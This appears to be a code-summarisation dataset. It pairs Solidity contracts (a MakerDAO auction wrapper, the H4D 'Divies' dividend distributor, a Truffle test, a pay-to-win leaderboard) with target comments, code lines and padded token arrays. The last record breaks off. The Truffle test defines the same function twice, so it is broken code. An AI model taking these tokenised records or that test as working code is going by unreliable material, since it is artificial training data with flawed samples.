function _reprice(uint256 auctionID) internal {
_auction.tick(auctionID);
}
/// @notice Add bid to a live auction, if first bid this transfers DAI to vat
/// @dev state machine: before auction expired
/// @param auctionID uint256 id of the auction
function _bid(uint256 auctionID, uint256 amountMKR, uint256 amountDAI) internal {
_auction.dent(auctionID, amountMKR, amountDAI);
}
/// @notice Finalize an auction with a winning bid and release maker
/// @dev state machine: after auction expired
/// @param auctionID uint256 id of the auction
function _finalize(uint256 auctionID) internal {
_auction.deal(auctionID);
}
} | @notice Get the status of the flopper contract @return bool status true if auction contract is enabled | function isEnabled() public view returns (bool status) {
return (_auction.live() == 1) ? true : false;
}
| 2,574,667 | [
1,
967,
326,
1267,
434,
326,
284,
16884,
457,
6835,
327,
1426,
1267,
638,
309,
279,
4062,
6835,
353,
3696,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
225,
445,
12047,
1435,
1071,
1476,
1135,
261,
6430,
1267,
13,
288,
203,
565,
327,
261,
67,
69,
4062,
18,
16472,
1435,
422,
404,
13,
692,
638,
294,
629,
31,
203,
225,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity ^0.4.24;
/** title -Divies- v0.7.1
* ┌──────────────────────────────────────────────────────────────────────┐
* │ Divies!, is a contract that adds an external dividend system to H4D. │
* │ All eth sent to this contract, can be distributed to H4D holders. │
* │ Uses msg.sender as masternode for initial buy order. │
* └──────────────────────────────────────────────────────────────────────┘
* ┌────────────────────┐
* │ Setup Instructions │
* └────────────────────┘
* (Step 1) import this contracts interface into your contract
*
* import "./DiviesInterface.sol";
*
* (Step 2) set up the interface and point it to this contract
*
* DiviesInterface private Divies = DiviesInterface(0x63456554CC52038bE211FdC3DcF03F617BCfC80D);
* ┌────────────────────┐
* │ Usage Instructions │
* └────────────────────┘
* call as follows anywhere in your code:
*
* Divies.deposit.value(amount)();
* ex: Divies.deposit.value(232000000000000000000)();
*/
interface HourglassInterface {
function() payable external;
function buy(address _playerAddress) payable external returns(uint256);
function sell(uint256 _amountOfTokens) external;
function reinvest() external;
function withdraw() external;
function exit() external;
function dividendsOf(address _playerAddress) external view returns(uint256);
function balanceOf(address _playerAddress) external view returns(uint256);
function transfer(address _toAddress, uint256 _amountOfTokens) external returns(bool);
function stakingRequirement() external view returns(uint256);
}
contract Divies {
using SafeMath for uint256;
using UintCompressor for uint256;
HourglassInterface constant H4Dcontract_ = HourglassInterface(0x63456554CC52038bE211FdC3DcF03F617BCfC80D);
uint256 public pusherTracker_ = 100;
mapping (address => Pusher) public pushers_;
struct Pusher
{
uint256 tracker;
uint256 time;
}
uint256 public rateLimiter_;
//^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
// MODIFIERS
//^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
modifier isHuman() {
require(tx.origin == msg.sender);
_;
}
//^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
// BALANCE
//^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
function balances()
public
view
returns(uint256)
{
return (address(this).balance);
}
//^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
// DEPOSIT
//^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
function deposit()
external
payable
{
}
// used so the distribute function can call hourglass's withdraw
function() external payable {}
//^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
// EVENTS
//^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
event onDistribute(
address pusher,
uint256 startingBalance,
uint256 masternodePayout,
uint256 finalBalance,
uint256 compressedData
);
/* compression key
[0-14] - timestamp
[15-29] - caller pusher tracker
[30-44] - global pusher tracker
[45-46] - percent
[47] - greedy
*/
//^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
// DISTRIBUTE
//^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
function distribute(uint256 _percent)
public
isHuman()
{
// make sure _percent is within boundaries
require(_percent > 0 && _percent < 100, "please pick a percent between 1 and 99");
// data setup
address _pusher = msg.sender;
uint256 _bal = address(this).balance;
uint256 _mnPayout;
uint256 _compressedData;
// limit pushers greed (use "if" instead of require for level 42 top kek)
if (
pushers_[_pusher].tracker <= pusherTracker_.sub(100) && // pusher is greedy: wait your turn
pushers_[_pusher].time.add(1 hours) < now // pusher is greedy: its not even been 1 hour
)
{
// update pushers wait que
pushers_[_pusher].tracker = pusherTracker_;
pusherTracker_++;
// setup mn payout for event
if (H4Dcontract_.balanceOf(_pusher) >= H4Dcontract_.stakingRequirement())
_mnPayout = (_bal / 10) / 3;
// setup _stop. this will be used to tell the loop to stop
uint256 _stop = (_bal.mul(100 - _percent)) / 100;
// buy & sell
H4Dcontract_.buy.value(_bal)(_pusher);
H4Dcontract_.sell(H4Dcontract_.balanceOf(address(this)));
// setup tracker. this will be used to tell the loop to stop
uint256 _tracker = H4Dcontract_.dividendsOf(address(this));
// reinvest/sell loop
while (_tracker >= _stop)
{
// lets burn some tokens to distribute dividends to H4D holders
H4Dcontract_.reinvest();
H4Dcontract_.sell(H4Dcontract_.balanceOf(address(this)));
// update our tracker with estimates (yea. not perfect, but cheaper on gas)
_tracker = (_tracker.mul(81)) / 100;
}
// withdraw
H4Dcontract_.withdraw();
} else {
_compressedData = _compressedData.insert(1, 47, 47);
}
// update pushers timestamp (do outside of "if" for super saiyan level top kek)
pushers_[_pusher].time = now;
// prep event compression data
_compressedData = _compressedData.insert(now, 0, 14);
_compressedData = _compressedData.insert(pushers_[_pusher].tracker, 15, 29);
_compressedData = _compressedData.insert(pusherTracker_, 30, 44);
_compressedData = _compressedData.insert(_percent, 45, 46);
// fire event
emit onDistribute(_pusher, _bal, _mnPayout, address(this).balance, _compressedData);
}
}
/**
* @title -UintCompressor- v0.1.9
*/
library UintCompressor {
using SafeMath for *;
function insert(uint256 _var, uint256 _include, uint256 _start, uint256 _end)
internal
pure
returns(uint256)
{
// check conditions
require(_end < 77 && _start < 77, "start/end must be less than 77");
require(_end >= _start, "end must be >= start");
// format our start/end points
_end = exponent(_end).mul(10);
_start = exponent(_start);
// check that the include data fits into its segment
require(_include < (_end / _start));
// build middle
if (_include > 0)
_include = _include.mul(_start);
return((_var.sub((_var / _start).mul(_start))).add(_include).add((_var / _end).mul(_end)));
}
function extract(uint256 _input, uint256 _start, uint256 _end)
internal
pure
returns(uint256)
{
// check conditions
require(_end < 77 && _start < 77, "start/end must be less than 77");
require(_end >= _start, "end must be >= start");
// format our start/end points
_end = exponent(_end).mul(10);
_start = exponent(_start);
// return requested section
return((((_input / _start).mul(_start)).sub((_input / _end).mul(_end))) / _start);
}
function exponent(uint256 _position)
private
pure
returns(uint256)
{
return((10).pwr(_position));
}
}
/**
* @title SafeMath v0.1.9
* @dev Math operations with safety checks that throw on error
* change notes: original SafeMath library from OpenZeppelin modified by Inventor
* - added sqrt
* - added sq
* - added pwr
* - changed asserts to requires with error log outputs
* - removed div, its useless
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
/**
* @dev gives square root of given x.
*/
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
/**
* @dev gives square. multiplies x by x
*/
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
/**
* @dev x to the power of y
*/
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | update pushers timestamp (do outside of "if" for super saiyan level top kek) | pushers_[_pusher].time = now;
| 432,413 | [
1,
2725,
1817,
414,
2858,
225,
261,
2896,
8220,
434,
315,
430,
6,
364,
2240,
7864,
77,
93,
304,
1801,
1760,
417,
3839,
13,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
3639,
1817,
414,
67,
63,
67,
6206,
264,
8009,
957,
273,
2037,
31,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity ^0.4.6;
import "truffle/Assert.sol";
import "truffle/DeployedAddresses.sol";
import "../contracts/ThrowProxy.sol";
import "../contracts/MemeToken.sol";
import "../contracts/MemeFactory.sol";
contract TestMemeToken {
MemeFactory factory = new MemeFactory();
MemeToken simondlr;
ThrowProxy throwProxy;
// set up
function beforeAll() {
address simondlrAddress = factory.createMemeToken("simondlr");
simondlr = MemeToken(simondlrAddress);
throwProxy = new ThrowProxy(simondlrAddress); //set proxy destination
}
//testTestingTools
//make sure it's not the proxy that's causing errs
/*function testMintingWithThrowProxy() {
//wont throw.
}*/
//testMinting
//test trying to mint zero
function testMintZero() {
//bool result = simondlr.mint.value(0)
//wrap & then prime the proxy.
MemeToken(address(throwProxy)).mint(0, 0x42);
//execute proxy function.
bool result = throwProxy.execute(); //zero will be sent and thus err
Assert.isFalse(result, "Result should be false (tx throws) as minting zero should not be possible.");
}
//test trying to mint 1 with msg.value that is zero
function testMintZero() {
//bool result = simondlr.mint.value(0)
//wrap & then prime the proxy.
MemeToken(address(throwProxy)).mint(0, 0x42);
//execute proxy function.
bool result = throwProxy.execute(); //zero will be sent and thus err
Assert.isFalse(result, "Result should be false (tx throws) as minting zero should not be possible.");
}
//test minting 1
//test minting 5
//test minting 10
//test minting 100
//test minting 1000000
//test minting 5 with not enough money
//mint exact amount (5) (not sending anything back)
//testDispensing
//test dispense
//test mint, then dispense
//test mint&dispense
//testState ((currently not doing any state state related))
//test beneficiary count increased after mint
//test top beneificiary count decrease after dispense
//test top beneficiary change when just minted for beneficiary is equal or greater
//test second beneificiary remaining second after mint and not higher than top beneficiary
//test state of top beneficiary when dispensed and second beneficiary is greater (switch)
}
| set proxy destination
| throwProxy = new ThrowProxy(simondlrAddress); | 12,846,857 | [
1,
542,
2889,
2929,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
604,
3886,
273,
394,
3743,
3886,
12,
9812,
1434,
10826,
1887,
1769,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity ^0.8.0;
import "hardhat/console.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/utils/structs/EnumerableMap.sol";
contract PayToWin {
using Counters for Counters.Counter;
using EnumerableMap for EnumerableMap.UintToAddressMap;
struct Player {
string name;
uint score;
}
mapping (address => Player) private players; // address to player, not enumerable
Counters.Counter private playerCount;
EnumerableMap.UintToAddressMap private playerMap; // id to address, enumerable
event NewScore(address who, uint256 score);
function pay(string memory name) payable public {
Player storage player = players[msg.sender];
// new player
if (player.score == 0) {
playerMap.set(playerCount.current(), msg.sender);
playerCount.increment();
}
player.score = player.score + msg.value;
if (keccak256(abi.encodePacked((player.name))) != keccak256(abi.encodePacked((name)))) {
player.name = name;
}
}
function getPosition(address ad) private view returns (uint) {
uint256 playerScore = players[ad].score;
uint256 playersAhead;
for (uint256 i = 0; i < playerCount.current(); i++) {
address otherAddress = playerMap.get(i, "failed to find player id");
if (ad == otherAddress) {
continue;
}
if (players[otherAddress].score > playerScore) {
playersAhead++;
}
}
uint position = playersAhead+1; // one more to get position 1 instead of 0
return position;
}
function areYouWinningSon() external view returns (uint position, Player memory) {
position = getPosition(msg.sender);
return (position, players[msg.sender]);
}
function getUnsortedLeaderboard() external view returns (Player[] memory playerList) {
playerList = new Player[](playerCount.current());
for (uint256 i = 0; i < playerCount.current(); i++) {
address ad = playerMap.get(i, "failed to find player id");
playerList[i] = players[ad];
}
return playerList;
}
function getPlayerCount() external view returns (uint256) {
return playerCount.current();
}
} | address to player, not enumerable
| mapping (address => Player) private players; | 12,861,289 | [
1,
2867,
358,
7291,
16,
486,
14873,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
2874,
261,
2867,
516,
19185,
13,
3238,
18115,
31,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/1/0x7cFA2726223e8277a490b2eD3c599D0cf8fF3d2b/sources/publish/TokenSwap.sol | Transfers money to admin wallet | payable(_adminWallet).transfer(msg.value - refund);
| 3,148,946 | [
1,
1429,
18881,
15601,
358,
3981,
9230,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
3639,
8843,
429,
24899,
3666,
16936,
2934,
13866,
12,
3576,
18,
1132,
300,
16255,
1769,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
